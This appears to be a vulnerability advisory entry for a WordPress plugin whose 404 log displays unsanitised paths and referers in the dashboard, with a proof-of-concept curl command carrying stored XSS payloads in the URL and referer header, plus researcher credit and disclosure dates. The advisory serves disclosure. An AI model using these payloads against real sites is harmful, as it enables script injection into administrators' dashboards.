The plugin doesn't sanitise the referer and path of 404 pages, when they are output in the dashboard, which leads to executing arbitrary JavaScript code in the WordPress dashboard.
curl 'https://example.com/non-existing-page"><svg/onload=alert(/XSS-url/)>' -e '"><img src onerror=alert(/XSS-referer/)>'
YouTube Video
Ganesh Bagaria
Ganesh Bagaria
Yes
2021-03-11 (about 1 years ago)
2021-03-11 (about 1 years ago)
2021-03-28 (about 1 years ago)